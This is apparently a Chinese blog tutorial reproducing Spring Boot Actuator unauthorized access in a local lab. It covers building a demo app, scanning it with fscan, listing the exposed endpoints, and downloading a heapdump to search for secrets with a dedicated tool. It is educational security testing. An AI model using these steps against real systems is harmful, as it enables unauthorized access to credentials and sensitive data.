码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • Springboot Actuator未授权访问漏洞复现


    更新时间:2022.07.20

    微信公众号:乌鸦安全

    image.png

    1. 漏洞介绍

    Spring Boot Actuator 模块提供了生产级别的功能,比如健康检查,审计,指标收集,HTTP 跟踪等,帮助监控和管理Spring Boot 应用。这个模块是一个采集应用内部信息暴露给外部的模块,上述的功能都可以通过HTTP 和 JMX 访问。(来源:https://mp.weixin.qq.com/s/qY-hBSa9u62TNB4-A4RZ9Q)
    Actuator是Spring Boot提供的应用系统监控的开源框架。在攻防场景里经常会遇到Actuator配置不当的情况,攻击者可以直接下载heapdump堆转储文件,然后通过一些工具来分析heapdump文件,从而可进一步获取敏感信息。(来源:https://mp.weixin.qq.com/s/qY-hBSa9u62TNB4-A4RZ9Q)

    2. 漏洞环境搭建

    搭建环境:windows10 + java1.8
    可以直接按照命令进行操作,但是在环境搭建中,可能会遇到一定的问题:

    git clone https://github.com/callicoder/spring-boot-actuator-demo.git
    cd spring-boot-actuator-demo-master
    mvn package
    java -jar target/actuator-demo-0.0.1-SNAPSHOT.jar
    
    • 1
    • 2
    • 3
    • 4

    mvn的安装,可以百度下,比较容易。
    执行mvn package
    image.png
    此时出现报错:
    image.png
    因为我们使用的没有IDE,所以在这可以用这个方法:
    https://blog.csdn.net/qq_39323945/article/details/125110368
    image.png

    其他的方法可能不是很合适。继续编译,等待一会之后,编译成功:
    image.png

    然后启动环境:java -jar target/actuator-demo-0.0.1-SNAPSHOT.jar

    image.png

    访问当前的ip信息:http://10.211.55.5:8080/

    image.png

    此时环境搭建完成。

    3. 漏洞利用

    3.1 漏洞发现

    一般来说,这种可以通过扫描工具发现漏洞,在这里可以用fscan来试试:
    ./fscan_darwin -h 10.211.55.5
    image.png
    在这里可以发现有两个漏洞:

    [+] http://10.211.55.5:8080 poc-yaml-springboot-env-unauth spring2
    [+] http://10.211.55.5:8080 poc-yaml-spring-actuator-heapdump-file
    
    • 1
    • 2

    3.2 利用方法

    来源:https://mp.weixin.qq.com/s/qY-hBSa9u62TNB4-A4RZ9Q
    Actuator 存在两个版本

    1.x版本

    /configprops # 显示所有@ConfigurationProperties
    /env # 公开 Spring 的ConfigurableEnvironment
    /health # 显示应用程序运行状况信息
    /httptrace # 显示 HTTP 跟踪信息
    /metrics # 显示当前应用程序的监控指标信息。
    /mappings # 显示所有@RequestMapping路径的整理列表
    /threaddump # 线程转储
    
    /heapdump # 堆转储
    /jolokia # JMX-HTTP桥,它提供了一种访问JMX beans的替代方法
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    2.x版本

    /actuator/configprops # 显示所有@ConfigurationProperties
    /actuator/env # 公开 Spring 的ConfigurableEnvironment
    /actuator/health # 显示应用程序运行状况信息
    /actuator/httptrace # 显示 HTTP 跟踪信息
    /actuator/metrics # 显示当前应用程序的监控指标信息。
    /actuator/mappings # 显示所有@RequestMapping路径的整理列表
    /actuator/threaddump # 线程转储
    /actuator/heapdump # 堆转储
    /actuator/jolokia # JMX-HTTP桥,它提供了一种访问JMX beans的替代方法
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    3.2 springboot-env-unauth

    公开 Spring 的ConfigurableEnvironment
    http://10.211.55.5:8080/actuator/env

    image.png

    http://10.211.55.5:8080/actuator/configprops

    image.png

    2.3 spring-actuator-heapdump

    其实在实战中,最重要的就是heapdump文件,在这里文件里面理论上可以发现很多敏感的数据库之类的信息。
    http://10.211.55.5:8080/actuator/heapdump
    该文件可以直接下载到本地来,使用专业工具进行解密;
    专业工具地址:https://github.com/wyzxxz/heapdump_tool
    使用方法:java -jar heapdump_tool.jar heapdump
    image.png

    在这里选择1,然后搜索关键字:

    image.png

    当然,在这个环境中,暂时没有发现什么敏感信息,但是在实战里面,有概率是可以发现敏感数据的:

    image.png

    4. 总结

    关于其他的工具来获取明文信息的,可以参考一下链接:
    https://mp.weixin.qq.com/s/JKq4WxFKwh7IDIAqTKcTHw

  • 相关阅读:
    春游江淮 乐享五一|跟着《承欢记》来绩溪,治愈系的慢生活
    前端培训丁鹿学堂:js中箭头函数的面试相关总结
    TS 的 高级用法 与 知识点总结
    微信开发者工具使用SVN
    jqPlot——基于jquery的图表绘制工具简单使用,jqPlot 在firefox 火狐浏览器里面,图表右侧的标题,变形的解决方法
    jenkins容器内配置python项目运行环境(Python3.7.3)
    python中import和from详解区别
    艾美捷EndoGrade卵清蛋白重组示例说明
    Jenkins 使用 AD域登陆
    C++:函数指针进阶二:指向对象成员函数的指针
  • 原文地址:https://blog.csdn.net/csdnmmd/article/details/126088188
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号